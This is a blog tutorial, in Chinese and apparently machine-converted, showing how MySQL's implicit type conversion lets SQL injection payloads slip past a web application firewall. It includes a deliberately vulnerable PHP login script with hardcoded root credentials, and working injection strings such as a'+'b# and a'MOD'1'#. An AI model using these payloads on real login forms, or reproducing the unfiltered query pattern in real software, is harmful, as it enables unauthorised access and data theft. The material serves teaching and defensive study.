web應用一般採用表單型驗證方式(頁面雛形如所示),處理邏輯就是將表單中提交的使用者名稱和密 碼傳遞到後台資料庫去查詢,並根據查詢結果判斷是否通過身分識別驗證。對於LAMP架構的web應用而言,處理邏輯採用PHP,後台資料庫採用MySQL。而在這一處理過程,由於種種處理不善,會導致不少嚴重的漏洞,除去弱口令與暴力破解,最常見的就是SQL注入。SQL注入可以在SQLNuke——mysql 注入load_file Fuzz工具看到如何利用,而本篇部落格的重點是利用MySQL隱形的類型轉換繞過WAF的檢測。
下面使用執行個體來展示這一過程。 執行個體包括2個指令碼login.html與login.php,1張存放使用者名稱與密碼的member.user表
(1)表單login.html
<html><body><formid="form1"name="form1"method="post"action="login.php"><label>UserName<inputname="user"type="text"id="user"/></label><br/><label>Password<inputname="password"type="text"id="password"/></label><br/><label><inputname="login"type="submit"id="login"value="Login"/></label></body></html>
(2)認證處理login.php
<?phpif(isset($_POST["login"])){$link = mysql_connect("localhost","root","toor")ordie("cannot connect database".mysql_error());mysql_select_db("member")ordie("cannot select the db");$query ="select * from user where user='".$_POST["user"]."'and password='".md5($_POST["password"])."'";echo $query."<br/>";$result = mysql_query($query)ordie("the query failed:".mysql_error());echo "<br/>";$match_count = mysql_num_rows($result);if($match_count){while($row = mysql_fetch_assoc($result)){echo "<strong>User: </strong>".$row["user"]."<br/>";echo "<strong>Password: </strong>".$row["password"]."<br/>";echo "<br/>";}}else{echo "Wrong User or password <br/>";echo '<a href="http://10.1.36.34/login.html">Back</a><br/>';}mysql_free_result($result);mysql_close($link);}
注意紅色字型部分,為使用者輸入的使用者名稱和密碼,沒有進行任何過濾就傳入到資料庫中去進行查詢. 該指令碼將查詢字串及查詢結果展示在頁面中以供直觀的示範SQL查詢結果。
(3)member.user
大家看一張常見的使用者表user表,由兩個欄位構成user使用者名稱和password欄位。
表中包含8行資料
很明顯這是一段有SQL注入的程式,接下來我們來看看下面這些有趣的查詢結果 (1) 輸入使用者名稱
a’+'b#
查詢結果如所示
(2)輸入使用者名稱45a’+'b’#
產生以上結果的原因是算術操作符+的出現將字元型的user轉換為了數值性的user
dani,tanjiti,dani123,0dani 對應的數值為0123dani,123tanjiti對應的數值為12345dani,045tanjiti對應的數值為45'a'+'b'對應數值為0+0=0,會把類型轉換後為0的使用者名稱搜尋出來'45a'+'b'對應數值為45+0=45,會把類型轉換後為45的使用者名稱搜尋出來
除了+號,其他算術操作符號也會發生類型的類型轉換,例如MOD,DIV,*,/,%,-,
(3)輸入使用者名稱a’MOD’1′#
’a'MOD’1′對應的數值為0 MOD 1 =0,會把user對應數值為0的搜尋出來
(4)輸入使用者名稱
‘-”#
”-”對應的數值為0 -0 =0,會把user對應數值為0的搜尋出來
bit操作符&,|,^,<< ,>>也有同樣的效果
(5)輸入使用者名稱
‘/’1′#
”/’1′對應的數值為0 /1 =0,會把user對應數值為0的搜尋出來
bit操作符&,|,^,<< ,>>也有同樣的效果
(6)輸入使用者名稱a’&’b'#
’a'&’b'對應的數值為0&0 =0,會把user對應數值為0的搜尋出來
對應WAF防火牆而言,當輸入’ or 1=’1 時,ModSecurity防火牆會報錯(我沒有實驗過ModSecurity,部落格中有介紹)
而上面的執行個體則可以繞過防火牆. 總的來說,利用MySQL隱性的類型轉換來繞過WAF對SQL注入的檢測是蠻有想法的。